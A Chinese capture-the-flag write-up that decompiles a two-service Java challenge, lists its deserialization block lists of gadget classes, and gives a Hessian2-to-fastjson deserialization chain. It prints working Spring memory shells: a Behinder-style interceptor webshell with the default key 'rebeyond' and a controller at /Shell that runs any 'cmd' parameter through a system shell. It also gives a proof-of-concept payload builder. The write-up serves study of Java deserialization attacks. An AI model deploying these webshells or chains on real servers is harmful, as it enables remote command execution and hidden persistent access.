前言
个人感觉非常有意义的一道题,做完之后学习到了很多,索性写个WP来记录下其过程,以及复现过程中所踩的坑
附上题目链接:
链接:https://pan.baidu.com/s/1_F83FKLGeXCqjIzuGpIEfg
提取码:aeui
附件解析
docker文件
分为registry 和 server
docker-compose
version: '3'
services:
registry:
build: 'registry'
ports:
- 8080:8080
server:
build: 'server'
# ports:
# - 8081:8080
depends_on:
- registry
# networks:
# front:
# driver: custom-driver-1
可以看见对外开启了registry的8080端口server没有对外映射
flag在server中,需要走registry进入内网对server进行攻击并且获取flag (别在意反编译
registry服务的jar
registry.jar分析
对附件registry.jar进行反编译,获取源码
MainController
package com.example.registry.controller;
import com.alibaba.fastjson2.JSON;
import com.example.registry.data.Blacklist;
import com.example.registry.data.Result;
import com.example.registry.util.DefaultSerializer;
import com.example.registry.util.HessianSerializer;
import com.example.registry.util.Request;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.tags.Tag;
import java.util.Base64;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
@Tag(name = "Registry Controller")
@RestController
/* loaded from: registry-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/registry/controller/MainController.class */
public class MainController {
@GetMapping({"/"})
@Operation(description = "hello for all")
public String hello() {
return "hello";
}
@GetMapping({"/client/status"})
@Operation(description = "registry will request client '/status' to get client status.")
public Result clientStatus() {
try {
String json = Request.get("http://server:8080/status");
return (Result) JSON.parseObject(json, (Class<Object>) Result.class);
} catch (Exception e) {
return Result.of("500", "client is down");
}
}
@GetMapping({"/blacklist/jdk/get"})
@Operation(description = "return serialized blacklist for client. Client will require blacklist every 10 sec.")
public Result getBlacklist() {
String data;
try {
data = DefaultSerializer.serialize(Blacklist.readBlackList(Blacklist.DEFAULT_JDK_SERIALIZE_BLACK_LIST));
} catch (Exception e) {
data = e.getMessage();
}
return Result.of("200", data);
}
@GetMapping({"/blacklist/hessian/get"})
@Operation(description = "get serialized blacklist for registry")
public Result getHessianBlacklist() {
String data;
try {
data = DefaultSerializer.serialize(Blacklist.hessianBlackList);
} catch (Exception e) {
data = e.getMessage();
}
return Result.of("200", data);
}
@PostMapping({"/hessian/deserialize"})
@Operation(description = "deserialize base64Str using hessian")
public Result deserialize(String base64Str) {
String data;
String code = "200";
try {
byte[] serialized = Base64.getDecoder().decode(base64Str);
HessianSerializer.deserialize(serialized);
data = "deserialize success";
} catch (Exception e) {
data = "error: " + e.getMessage();
code = "500";
}
return Result.of(code, data);
}
}
大概分析
- /client/status 会去访问 server的status路由,并且使用fastjson进行解析
- /blacklist/jdk/get 返回jdk_blacklist.txt黑名单序列化后的数据
- /blacklist/hessian/get 返回hessian_blacklist.txt黑名单序列化后的数据
- /hessian/deserialize 接受base64Str参数,将其base64解密后判断是否存在黑名单类后进行hessian反序列化
server.jar分析
IndexController
package com.example.server.controller;
import ch.qos.logback.core.spi.AbstractComponentTracker;
import com.alibaba.fastjson2.JSON;
import com.example.server.data.Result;
import com.example.server.util.DefaultSerializer;
import com.example.server.util.Request;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
/* loaded from: server-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/server/controller/IndexController.class */
public class IndexController {
public static List<String> denyClasses = new ArrayList();
public static long lastTimestamp = 0;
@GetMapping({"/status"})
public Result status() {
String msg;
try {
long currentTimestamp = System.currentTimeMillis();
msg = String.format("client %s is online", InetAddress.getLocalHost().getHostName());
if (currentTimestamp - lastTimestamp > AbstractComponentTracker.LINGERING_TIMEOUT) {
//这里的AbstractComponentTracker.LINGERING_TIMEOUT是10000
update();
lastTimestamp = System.currentTimeMillis();
}
} catch (Exception e) {
msg = "client is online";
}
return Result.of("200", msg);
}
public void update() {
try {
String json = Request.get("http://registry:8080/blacklist/jdk/get");
Result result = (Result) JSON.parseObject(json, (Class<Object>) Result.class);
Object msg = result.getMessage();
if (msg instanceof String) {
byte[] data = Base64.getDecoder().decode((String) msg);
denyClasses = (List) DefaultSerializer.deserialize(data, denyClasses);
} else if (msg instanceof List) {
denyClasses = (List) msg;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
只有一个status路由,会判断是否与上次调用间隔10秒,true则会调用update函数
访问registry的/blacklist/jdk/get路由,使用fastjson解析json数据,获取其中的message字段值,将其反序列化后设置为denyClasses
具体的反序列化源码如下:
package com.example.server.util;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import java.util.Scanner;
/* loaded from: server-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/server/util/DefaultSerializer.class */
public class DefaultSerializer {
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return encode(out.toByteArray());
}
public static String encode(byte[] data) throws Exception {
return Base64.getEncoder().encodeToString(data);
}
public static Object deserialize(byte[] obj, List<String> denyClasses) throws Exception {
if (denyClasses == null || denyClasses.isEmpty()) {
denyClasses = readBlackList("security/jdk_blacklist.txt");
}
ByteArrayInputStream in = new ByteArrayInputStream(obj);
AntObjectInputStream objIn = new AntObjectInputStream(in);
objIn.setDenyClasses(denyClasses);
return objIn.readObject();
}
public static List<String> readBlackList(String blackListFile) {
List<String> result = new ArrayList<>();
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
InputStream inputStream = classLoader.getResourceAsStream(blackListFile);
if (inputStream != null) {
Scanner scanner = null;
try {
scanner = new Scanner(inputStream);
while (scanner.hasNextLine()) {
String nextLine = scanner.nextLine();
if (!isBlank(nextLine)) {
result.add(nextLine);
}
}
if (scanner != null) {
scanner.close();
}
} catch (Exception e) {
if (scanner != null) {
scanner.close();
}
} catch (Throwable th) {
if (scanner != null) {
scanner.close();
}
throw th;
}
}
return result;
}
static boolean isBlank(String cs) {
int strLen;
if (cs == null || (strLen = cs.length()) == 0) {
return true;
}
for (int i = 0; i < strLen; i++) {
if (!Character.isWhitespace(cs.charAt(i))) {
return false;
}
}
return true;
}
}
可以看见当denyclasses为空时,会读取本地的security/jdk_blacklist.txt为denyclasses,
bsh.Interpreter
bsh.XThis
clojure.core$constantly
clojure.main$eval_opt
com.mchange.v2.c3p0.JndiRefForwardingDataSource
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
com.rometools.rome.feed.impl.EqualsBean
com.rometools.rome.feed.impl.ToStringBean
com.sun.jndi.ldap.LdapAttribute
com.sun.jndi.rmi.registry.BindingEnumeration
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl
com.sun.syndication.feed.impl.ObjectBean
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
com.alibaba.fastjson.JSONObject
com.alibaba.fastjson2.JSONObject
java.beans.EventHandler
java.lang.reflect.Proxy
java.net.URL
java.rmi.registry.Registry
java.rmi.server.ObjID
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject
java.security.SignedObject
java.util.Comparator
java.util.PriorityQueue
java.util.ServiceLoader$LazyIterator
javax.imageio.ImageIO$ContainsFilter
javax.management.BadAttributeValueExpException
javax.management.MBeanServerInvocationHandler
javax.management.openmbean.CompositeDataInvocationHandler
javax.naming.InitialContext
javax.naming.spi.ObjectFactory
javax.script.ScriptEngineManager
javax.xml.transform.Templates
net.sf.json.JSONObject
org.apache.commons.beanutils.BeanComparator
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors.ChainedTransformer
org.apache.commons.collections.functors.ConstantTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections4.comparators.TransformingComparator
org.apache.commons.collections4.functors.ChainedTransformer
org.apache.commons.collections4.functors.ConstantTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.dbcp.datasources.PerUserPoolDataSource
org.apache.commons.dbcp.datasources.SharedPoolDataSource
org.apache.commons.dbcp2.datasources.PerUserPoolDataSource
org.apache.commons.fileupload.disk.DiskFileItem
org.apache.myfaces.context.servlet.FacesContextImpl
org.apache.myfaces.context.servlet.FacesContextImplBase
org.apache.myfaces.el.CompositeELResolver
org.apache.myfaces.el.unified.FacesELContext
org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource
org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource
org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource
org.apache.wicket.util.upload.DiskFileItem
org.apache.xalan.xsltc.trax.TemplatesImpl
org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.hibernate.engine.spi.TypedValue
org.hibernate.tuple.component.AbstractComponentTuplizer
org.hibernate.tuple.component.PojoComponentTuplizer
org.hibernate.type.AbstractType
org.hibernate.type.ComponentType
org.hibernate.type.Type
org.jboss.interceptor.builder.InterceptionModelBuilder
org.jboss.interceptor.builder.MethodReference
org.jboss.interceptor.proxy.DefaultInvocationContextFactory
org.jboss.interceptor.proxy.InterceptorMethodHandler
org.jboss.interceptor.reader.ClassMetadataInterceptorReference
org.jboss.interceptor.reader.DefaultMethodMetadata
org.jboss.interceptor.reader.ReflectiveClassMetadata
org.jboss.interceptor.reader.SimpleInterceptorMetadata
org.jboss.interceptor.spi.instance.InterceptorInstantiator
org.jboss.interceptor.spi.metadata.InterceptorReference
org.jboss.interceptor.spi.metadata.MethodMetadata
org.jboss.interceptor.spi.model.InterceptionModel
org.jboss.interceptor.spi.model.InterceptionType
org.jboss.weld.interceptor.builder.InterceptionModelBuilder
org.jboss.weld.interceptor.builder.MethodReference
org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory
org.jboss.weld.interceptor.proxy.InterceptorMethodHandler
org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference
org.jboss.weld.interceptor.reader.DefaultMethodMetadata
org.jboss.weld.interceptor.reader.ReflectiveClassMetadata
org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata
org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator
org.jboss.weld.interceptor.spi.metadata.InterceptorReference
org.jboss.weld.interceptor.spi.metadata.MethodMetadata
org.jboss.weld.interceptor.spi.model.InterceptionModel
org.jboss.weld.interceptor.spi.model.InterceptionType
org.mozilla.javascript.Context
org.mozilla.javascript.IdScriptableObject
org.mozilla.javascript.MemberBox
org.mozilla.javascript.NativeError
org.mozilla.javascript.NativeJavaMethod
org.mozilla.javascript.NativeJavaObject
org.mozilla.javascript.NativeObject
org.mozilla.javascript.ScriptableObject
org.python.core.PyBytecode
org.python.core.PyFunction
org.python.core.PyObject
org.reflections.Reflections
org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder
org.springframework.aop.framework.AdvisedSupport
org.springframework.aop.framework.JdkDynamicAopProxy
org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
org.springframework.aop.target.SingletonTargetSource
org.springframework.beans.factory.ObjectFactory
org.springframework.beans.factory.config.PropertyPathFactoryBean
org.springframework.beans.factory.support.DefaultListableBeanFactory
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
org.springframework.core.SerializableTypeWrapper$TypeProvider
org.springframework.jndi.support.SimpleJndiBeanFactory
org.springframework.transaction.jta.JtaTransactionManager
sun.rmi.server.UnicastRef
sun.rmi.server.UnicastRef2
com.mysql.jdbc.jdbc2.optional.MysqlDataSource
org.jboss.proxy.ejb.handle.HomeHandleImpl
但是可以通过后续控制registry的 /blacklist/jdk/get路由的返回值,来覆盖其denyClasses为空或者为任意类,当覆盖后再次使用恶意反序列化链进行攻击即可
解题
registry为入口,其存在着一个可以hessian反序列化的路由,并且还是hessian2
观察hessian的黑名单与所存在的依赖
bsh.Interpreter
bsh.XThis
ch.qos.logback.core.db.DriverManagerConnectionSource
ch.qos.logback.core.db.JNDIConnectionSource
clojure.core$constantly
clojure.main$eval_opt
com.caucho.naming.QName
com.mchange.v2.c3p0.JndiRefForwardingDataSource
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
com.rometools.rome.feed.impl.EqualsBean
com.rometools.rome.feed.impl.ToStringBean
com.sun.corba.se.impl.activation.ServerManagerImpl
com.sun.corba.se.impl.activation.ServerTableEntry
com.sun.corba.se.impl.presentation.rmi.InvocationHandlerFactoryImpl.CustomCompositeInvocationHandlerImpl
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
com.sun.corba.se.spi.orbutil.proxy.LinkedInvocationHandler
com.sun.jndi.rmi.registry.BindingEnumeration
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl
com.sun.org.apache.bcel.internal.util.ClassLoader
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.org.apache.xpath.internal.XPathContext
com.sun.org.apache.xpath.internal.objects.XString
com.sun.rowset.JdbcRowSetImpl
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
groovy.lang.GString
groovy.util.MapEntry
java.beans.Expression
java.lang.ProcessBuilder
java.lang.Runtime
java.rmi.server.UnicastRemoteObject
java.security.SignedObject
java.util.ServiceLoader$LazyIterator
java.util.StringTokenizer
java.util.TreeSet
java.util.HashSet
javassist.bytecode.annotation.Annotation
javassist.bytecode.annotation.AnnotationImpl
javassist.bytecode.annotation.AnnotationMemberValue
javassist.tools.web.Viewer
javassist.util.proxy.SerializedProxy
javax.activation.MimeTypeParameterList
javax.imageio.ImageIO$ContainsFilter
javax.imageio.spi.ServiceRegistry
javax.management.BadAttributeValueExpException
javax.management.ImmutableDescriptor
javax.management.remote.rmi.RMIConnector
javax.naming.InitialContext
javax.naming.ldap.Rdn
javax.naming.spi.ObjectFactory
javax.script.ScriptEngineManager
javax.sound.sampled.AudioFileFormat
javax.sound.sampled.AudioFormat
javax.swing.UIDefaults
javax.xml.transform.Templates
org.apache.bcel.util.ClassLoader
org.apache.commons.beanutils.BeanComparator
org.apache.commons.beanutils.BeanToPropertyValueTransformer
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.fileupload.disk.DiskFileItem
org.apache.commons.lang3.compare.ObjectToStringComparator
org.apache.ibatis.javassist.tools.web.Viewer
org.apache.ibatis.javassist.util.proxy.SerializedProxy
org.apache.log4j.receivers.db.DriverManagerConnectionSource
org.apache.tomcat.dbcp.dbcp.BasicDataSource
org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
org.apache.xalan.xsltc.trax.TemplatesImpl
org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding
org.apache.xpath.XPathContext
org.aspectj.apache.bcel.util.ClassLoader
org.codehaus.groovy.runtime.MethodClosure
org.eclipse.jetty.util.log.LoggerLog
org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder
org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
org.springframework.aop.aspectj.AspectJAroundAdvice
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler
org.springframework.beans.factory.BeanFactory
org.springframework.beans.factory.config.MethodInvokingFactoryBean
org.springframework.beans.factory.config.PropertyPathFactoryBean
org.springframework.beans.factory.support.DefaultListableBeanFactory$DependencyObjectFactory
org.springframework.cache.interceptor.BeanFactoryCacheOperationSourceAdvisor
org.springframework.expression.spel.ast.Indexer$PropertyIndexingValueRef
org.springframework.expression.spel.ast.MethodReference$MethodValueRef
org.springframework.jndi.JndiObjectTargetSource
org.springframework.jndi.support.SimpleJndiBeanFactory
org.springframework.orm.jpa.AbstractEntityManagerFactoryBean
org.springframework.transaction.jta.JtaTransactionManager
sun.rmi.server.UnicastRef
sun.swing.SwingLazyValue
sun.print
可以很明显的发现 fastjson没有在黑名单中,并且spring自带的jackson也没有被过滤,可能因为这题比阿里云CTF更早一些,所以没有见到师傅使用jackson,又由于hessian可以序列化没有继承Serializable的类,这里就放两个没有被ban的getter
- UnixPrintServer.getDefaultPrintService
- ContinuationContext#getTargetContext()
因为后续需要加载内存马等操作,所以我们选择后者
因为hessian2的反序列化存在着一个CVE,可以直接去触发类的toString方法,所以链子就此成立
Hessian2.readObject
JsonArray.toString
ContinuationContext#getTargetContext()
反序列化链选择好了,但是实际上困难点是内存马的构造,因为server端要获取两次不同的数据,这里选择InterceptorMemshell,并且编写相对应的逻辑
package ezJava;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.List;
public class SpringInterceptorEcho extends AbstractTranslet implements HandlerInterceptor {
private static int counter = 0;
public SpringInterceptorEcho() throws Exception {
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext());
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) field.get(requestMappingHandlerMapping);
adaptedInterceptors.add(new SpringInterceptorEcho(1)); //对所有访问进行监控
}
public SpringInterceptorEcho(int n) {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
HttpSession session = request.getSession();
//冰蝎马的编写
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
//判断访问的是否是/blacklist/jdk/get路由
if("/blacklist/jdk/get".equals(request.getRequestURI())){
response.setContentType("application/json");
if(counter % 2 == 0){ //使用counter来控制不同数据传输
ArrayList arrayList = new ArrayList();
arrayList.add("test.test");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(arrayList);
String msg = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
objectOutputStream.close();
byteArrayOutputStream.close();
String result = "{\"code\": \"200\" ,\"message\": \"" + msg + "\"}";
ServletOutputStream output = response.getOutputStream();
output.write(result.getBytes());
output.flush();
}else {
String memshell =""; //server反序列化链字节码的base64
String result = "{\"code\": \"200\" ,\"message\": \"" + memshell + "\"}";
ServletOutputStream output = response.getOutputStream();
output.write(result.getBytes());
output.flush();
}
counter ++;
return false; }
//冰蝎马的编写
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
return true;
}
}
Server的Controller内存马
package ezJava;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
public class InjectToController extends AbstractTranslet {
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException, InstantiationException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/Shell")
.options(config)
.build();
InjectToController springControllerMemShell = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
}
Server反序列化链的poc
package ezJava;
import Hessian.tools;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import javax.management.BadAttributeValueExpException;
public class server_poc {
public static void main(String[] args) throws Exception {
JavaClass javaClass = Repository.lookupClass(InjectToController.class);
byte[] bytes = javaClass.getBytes();
Object templates = tools.getTemplates(bytes);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
tools.setValue(badAttributeValueExpException,"val",jsonArray);
String serialize = tools.serialize(badAttributeValueExpException);
System.out.println(serialize);
}
}
从registry打入Inceptor内存马
可以发现jdk的黑名单每次访问都会变化
使用冰蝎连接内存马,密码为rebeyond,访问两次server的status路由即可加载内存马,获得flag
踩坑
可能wp写的很短,但是我在复现的过程中踩了很多坑,例如不知道fastjson的getmessage取的是message键的值,以及打Server jdk原生反序列化时因为fastjson版本问题内存马一直打不进去,不知道为什么Server还用不了jackson去打(感觉还是版本问题